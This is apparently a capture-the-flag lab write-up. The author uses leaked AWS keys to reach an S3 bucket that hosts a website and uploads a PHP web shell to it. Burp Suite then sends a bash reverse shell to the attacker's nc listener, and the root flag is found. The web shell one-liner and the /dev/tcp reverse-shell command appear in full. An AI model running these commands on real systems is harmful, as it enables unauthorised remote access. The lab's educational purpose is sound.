# Using Burpsuite and creating Reverse shell

I've got the keys and I can either take them back to my own machine and try top enumerate that way or I can see what else I can find from the AWS CLI

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2F1QlmhdIai8zXmIvmgvCv%2F17.PNG?alt=media&#x26;token=f2afaf40-3a46-4056-b165-49a5ce3cf61d" alt=""><figcaption></figcaption></figure>

help screen, slight error

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2F16Oh0y1O906dmcn2RUBI%2F18.PNG?alt=media&#x26;token=273ac794-4c65-4e3d-a19d-d3d8ad9bea46" alt=""><figcaption></figcaption></figure>

correct result. Looks like html entity encoding. I can decode this and see what I get

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FkbMz8xqQQK1zytBl3zKY%2F19.png?alt=media&#x26;token=f0d60d36-4f1c-4f26-9bea-20a4ae96da1b" alt=""><figcaption></figcaption></figure>

send to decoder

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2Fa4UFXewcMUlv3e0XPIhB%2F20.png?alt=media&#x26;token=b11f3341-53d3-4aa5-9193-f9355c28b20a" alt=""><figcaption></figcaption></figure>

do a smart decode

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FhWIfJZQHNZ4pE6NDEDYa%2Fimage%2021.PNG?alt=media&#x26;token=e4632485-61eb-4609-93dd-ba82a7656abc" alt=""><figcaption><p>Results</p></figcaption></figure>

Can see the buckets name is website. Now if I want to interact with that I can do so through webshell s3api

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FcXmFLqyDq2OwoKBsqAbG%2F22.PNG?alt=media&#x26;token=cd524c80-08c7-4df2-ba23-0b043c5063a5" alt=""><figcaption></figcaption></figure>

Listing all the directories in s3 and then all the information in s3 website. Back to what we initially saw when exploring the site without the shell. which means i might need to write a php script for the server

```sh
echo "<?php system(\$_REQUEST['ippsec']); ?>" | base64
```

Script above is what I used output below is what was returned. base64 encoding is utilized to avoid bad characters, in this case the double quote.

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FMIDpm0j7YSg6iok1ivkF%2F23.PNG?alt=media&#x26;token=eeda3fb7-30e1-496f-a34a-1abdb1a6c6b3" alt=""><figcaption></figcaption></figure>

Creating a file to save it to

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FuDhpsvsBqepVrHueXcvv%2F24.PNG?alt=media&#x26;token=f3b057f1-8920-48ce-a113-10623649d28e" alt=""><figcaption></figcaption></figure>

Now that it was saved as a file with no errors. I want to copy it into the S3 website but under a different name. The matching bytes shows it was all copied with no problem

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FpgEacKvcqk3tqYZGa9rM%2F25.PNG?alt=media&#x26;token=5e140819-a31a-442d-a29c-e99a5ccc140f" alt=""><figcaption></figcaption></figure>

Now with "?ippsec=ls" added to the end we can see the code execution was successful

Now to get a reverse shell

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2F4Wu8aLXsckDtvbQT9Nkq%2F26.PNG?alt=media&#x26;token=2d97bdbf-e56f-45ef-b2d7-adbffcc8ee89" alt=""><figcaption></figcaption></figure>

nc -lvnp 9001

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FVpgoaHaGBFkfnjYmyLeF%2F27.PNG?alt=media&#x26;token=4eba22a7-8588-493f-ab83-fb4060f4dd77" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FRBbR0pnr8oPv7loiYqWM%2F28.PNG?alt=media&#x26;token=0ff2c28c-0afa-446e-832b-83bdc3f0f56d" alt=""><figcaption></figcaption></figure>

Now putting the rs code into burpsuite and I URL encoded it

```sh
bash -c 'bash -i >& /dev/tcp/10.10.14.181/9001 0>&1'
```

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FeNBW5JAMOSzGQPfRE8ZK%2F29.PNG?alt=media&#x26;token=41a39e6b-4df0-4d31-a99d-4d647c3b8796" alt=""><figcaption></figcaption></figure>

This confirms the shell is up and running

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FSPW26L7q7wvwP52I5O7I%2F30.PNG?alt=media&#x26;token=e433626b-e0e0-473f-84b7-643af2374ca8" alt=""><figcaption></figcaption></figure>

I can see all the ports currently listening. 127.0.0.1:8000 stands out because it is the only port listening on localhost.

<figure><img src="https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FVk9KmmVo7ZNl9Dbrk7cJ%2F31.PNG?alt=media&#x26;token=8da6707e-30fb-409d-b3ec-83e4404a8aba" alt=""><figcaption><p>root flag found</p></figcaption></figure>

Took me a few tries to get the syntax right because I did not add terms or putty so tabs and directional keys to edit did not work.
